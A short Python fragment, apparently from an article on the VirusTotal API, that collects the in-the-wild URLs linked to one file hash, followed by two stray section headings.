FILEHASH = "1955c6914097477d5141f720c9e8fa44b4fe189e854da298d85090cbc338b35a"
RELATIONS = "itw_urls"
all_itw_urls = []

async for itemobj in cli.iterator(f'/files/{FILEHASH}/{RELATIONS}', limit=0):
    all_itw_urls.append(itemobj.to_dict())

The great forgotten one: VT Diff

Conclusion